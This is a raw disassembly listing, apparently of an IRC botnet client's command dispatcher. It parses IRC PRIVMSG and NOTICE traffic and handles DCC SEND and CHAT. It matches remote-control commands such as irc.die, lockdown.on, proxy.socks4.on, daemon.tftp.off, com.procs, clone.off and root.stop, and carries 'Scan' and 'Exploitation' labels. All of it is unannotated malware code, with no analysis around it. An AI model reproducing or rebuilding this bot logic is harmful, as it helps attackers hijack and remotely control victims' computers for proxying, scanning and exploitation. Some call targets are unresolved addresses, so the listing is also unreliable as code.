		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3B9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3E0


loc_40F3B9:				; CODE XREF: sub_40EE72+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40F3BE:				; CODE XREF: sub_40EE72+56Cj
		cmp	[edi], bl
		jz	short loc_40F3D4
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F42E


loc_40F3D4:				; CODE XREF: sub_40EE72+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F3BE


loc_40F3E0:				; CODE XREF: sub_40EE72+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F48F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F417
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40F417:				; CODE XREF: sub_40EE72+59Aj
		push	[ebp+var_84]
		push	offset dword_432DA8


loc_40F422:				; CODE XREF: sub_40EE72+5B47j
					; sub_40EE72+5E96j ...
		call	sub_40BFE1
		pop	ecx


loc_40F428:				; CODE XREF: sub_40EE72+5FABj
		pop	ecx
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F42E:				; CODE XREF: sub_40EE72+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432D78
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F239
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F22E
; ---------------------------------------------------------------------------


loc_40F48F:				; CODE XREF: sub_40EE72+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4176D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		cmp	dword_42F5B8, ebx
		jz	loc_414F47


loc_40F4E3:				; CODE XREF: sub_40EE72+637j
					; sub_40EE72+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi


loc_40F52A:				; CODE XREF: sub_40EE72+8B9j
					; sub_40EE72+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_432D6C
		mov	[ebp+arg_8], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96F
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F82A
		cmp	[ebp+var_AC], ebx
		jz	loc_40F800
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432D28
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B4
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	loc_40F7EF


loc_40F659:				; CODE XREF: sub_40EE72+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		call	near ptr 2620494h
		nop
		jmp	short loc_40F659
; ---------------------------------------------------------------------------


loc_40F66F:				; CODE XREF: sub_40EE72+681j
					; sub_40EE72+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F688
		mov	[ebp+var_4], 1


loc_40F688:				; CODE XREF: sub_40EE72+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40F239
		push	(offset	loc_4289A7+1)
		push	[ebp+var_8C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F6AF
		cmp	[ebp+var_4], ebx
		jz	short loc_40F6BB


loc_40F6AF:				; CODE XREF: sub_40EE72+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax


loc_40F6BB:				; CODE XREF: sub_40EE72+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40F239
		inc	[ebp+var_88]
		jz	short loc_40F707
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F707
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418DA0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F70D
; ---------------------------------------------------------------------------


loc_40F707:				; CODE XREF: sub_40EE72+85Bj
					; sub_40EE72+860j
		mov	esi, [ebp+var_C0]


loc_40F70D:				; CODE XREF: sub_40EE72+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F239
		push	edi
		push	offset dword_432D1C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F7B0
		mov	eax, dword_4CD770
		mov	eax, off_42F6C8[eax*4]
		cmp	[eax], bl
		jz	short loc_40F7B0
		push	eax
		push	ecx
		push	offset dword_432D00
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_4CD67C


loc_40F7A0:				; CODE XREF: sub_40EE72+58C1j
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F7B0:				; CODE XREF: sub_40EE72+8C8j
					; sub_40EE72+8D8j
		push	edi
		push	offset dword_432CDC
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F52A
		push	eax
		push	ecx
		push	offset dword_432CC4
		jmp	loc_40F22E
; ---------------------------------------------------------------------------


loc_40F7EF:				; CODE XREF: sub_40EE72+7E1j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_432C7C
		jmp	loc_40F95B
; ---------------------------------------------------------------------------


loc_40F800:				; CODE XREF: sub_40EE72+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_432C2C


loc_40F813:				; CODE XREF: sub_40EE72+6177j
					; sub_40EE72+61DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 10h


loc_40F822:				; CODE XREF: sub_40EE72+7EDj
					; sub_40EE72+AB1j ...
		push	1
		pop	esi
		jmp	loc_411100
; ---------------------------------------------------------------------------


loc_40F82A:				; CODE XREF: sub_40EE72+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F985
		cmp	[ebp+var_AC], ebx
		jz	loc_40F94F
		push	13h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_40F941
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432BF4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C351
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_40F933


loc_40F91D:				; CODE XREF: sub_40EE72+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------


loc_40F933:				; CODE XREF: sub_40EE72+AA9j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_432BB0
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------


loc_40F941:				; CODE XREF: sub_40EE72+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432B70
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------


loc_40F94F:				; CODE XREF: sub_40EE72+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432B30


loc_40F95B:				; CODE XREF: sub_40EE72+989j
					; sub_40EE72+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_40F96F:				; CODE XREF: sub_40EE72+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		mov	[edi], ecx
		jnz	loc_40F239


loc_40F985:				; CODE XREF: sub_40EE72+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_0 ; "c"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		push	[ebp+arg_8]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9D5
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47


loc_40F9D5:				; CODE XREF: sub_40EE72+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F47
		xor	edi, edi
		cmp	dword_42F794, ebx
		jle	loc_40FB81
		mov	[ebp+arg_20], offset dword_43FA70


loc_40F9F3:				; CODE XREF: sub_40EE72+BA0j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA19
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42F794
		jl	short loc_40F9F3
		jmp	loc_40FB81
; ---------------------------------------------------------------------------


loc_40FA19:				; CODE XREF: sub_40EE72+B90j
		push	offset asc_432E84 ; " :"
		push	[ebp+arg_0]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		mov	cl, byte_42F5C4
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42F5C4
		mov	[eax+3], cl
		lea	ecx, dword_43FA88[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418C10
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40FA6E:				; CODE XREF: sub_40EE72+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FADA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FADA
		lea	eax, dword_43FA70[edi]
		push	eax
		call	sub_417AB0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FB0C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FB0C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------


loc_40FADA:				; CODE XREF: sub_40EE72+C24j
					; sub_40EE72+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FB0C
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 18h


loc_40FB0C:				; CODE XREF: sub_40EE72+C3Dj
					; sub_40EE72+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA6E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40FB29:				; CODE XREF: sub_40EE72+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB6C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB6C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch


loc_40FB6C:				; CODE XREF: sub_40EE72+CDFj
					; sub_40EE72+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FB29
		mov	[ebp+var_DC], 1


loc_40FB81:				; CODE XREF: sub_40EE72+B74j
					; sub_40EE72+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		jz	short loc_40FB9A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD7F


loc_40FB9A:				; CODE XREF: sub_40EE72+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A7D7
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A7D7
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A7D7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A7D7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_0 ; "$server"
		push	edi
		call	sub_40A7D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h


loc_40FC0C:				; CODE XREF: sub_40EE72+E86j
		test	eax, eax
		jz	loc_40FCFD
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_B8]
		push	offset asc_432AEC ; ")"
		push	eax
		call	sub_418B6E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40FC58
		cmp	[ebp+var_B8], 39h
		jle	short loc_40FC6E


loc_40FC58:				; CODE XREF: sub_40EE72+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40FC6E:				; CODE XREF: sub_40EE72+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	short loc_40FC91
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FCA2
; ---------------------------------------------------------------------------


loc_40FC91:				; CODE XREF: sub_40EE72+E0Bj
		call	sub_41730C
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40FCA2:				; CODE XREF: sub_40EE72+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AB0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 30h
		jmp	loc_40FC0C
; ---------------------------------------------------------------------------


loc_40FCFD:				; CODE XREF: sub_40EE72+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_11B0]
		push	offset asc_42A3B4 ; " "
		push	eax
		call	sub_418B6E
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh


loc_40FD4D:				; CODE XREF: sub_40EE72+EF0j
		push	offset asc_42A3B4 ; " "
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40FD4D
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40F239
		add	ecx, 3
		mov	[eax], ecx


loc_40FD7F:				; CODE XREF: sub_40EE72+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aRn	; "rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aLo	; "lo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aVer	; "ver"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEEF
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_432A34


loc_40FED3:				; CODE XREF: sub_40EE72+10A1j
					; sub_40EE72+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416FEA
		add	esp, 20h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40FEEF:				; CODE XREF: sub_40EE72+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF15
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_432A10
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF15:				; CODE XREF: sub_40EE72+108Cj
		push	edi
		push	offset dword_432A00
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF3B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_4329F4
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF3B:				; CODE XREF: sub_40EE72+10B2j
		push	edi
		push	offset dword_4329EC
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF64
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_4329E0
		push	offset dword_4329D4
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF64:				; CODE XREF: sub_40EE72+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF8D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4329B0
		push	offset dword_4329A0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF8D:				; CODE XREF: sub_40EE72+1101j
		push	edi
		push	offset dword_432994
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_432988
		push	offset dword_43297C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FFB6:				; CODE XREF: sub_40EE72+112Aj
		push	edi
		push	offset dword_43296C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_432960
		push	offset dword_432954
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FFDF:				; CODE XREF: sub_40EE72+1153j
		push	edi
		push	offset dword_432944
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410008
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_432938
		push	offset dword_43292C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410008:				; CODE XREF: sub_40EE72+117Cj
		push	edi
		push	offset dword_43291C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410031
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_432910
		push	offset dword_432904
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410031:				; CODE XREF: sub_40EE72+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41005A
		push	[ebp+esi+var_90]
		push	4


loc_41004B:				; DATA XREF: ___:0042CC90o
					; ___:0042CCA4o
		push	offset aServer	; "Server"
		push	offset dword_4328E8
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_41005A:				; CODE XREF: sub_40EE72+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_432888
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_4100D7:				; CODE XREF: sub_40EE72+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410100
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_432860
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410100:				; CODE XREF: sub_40EE72+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410129
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410129:				; CODE XREF: sub_40EE72+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4176D0
		pop	ecx
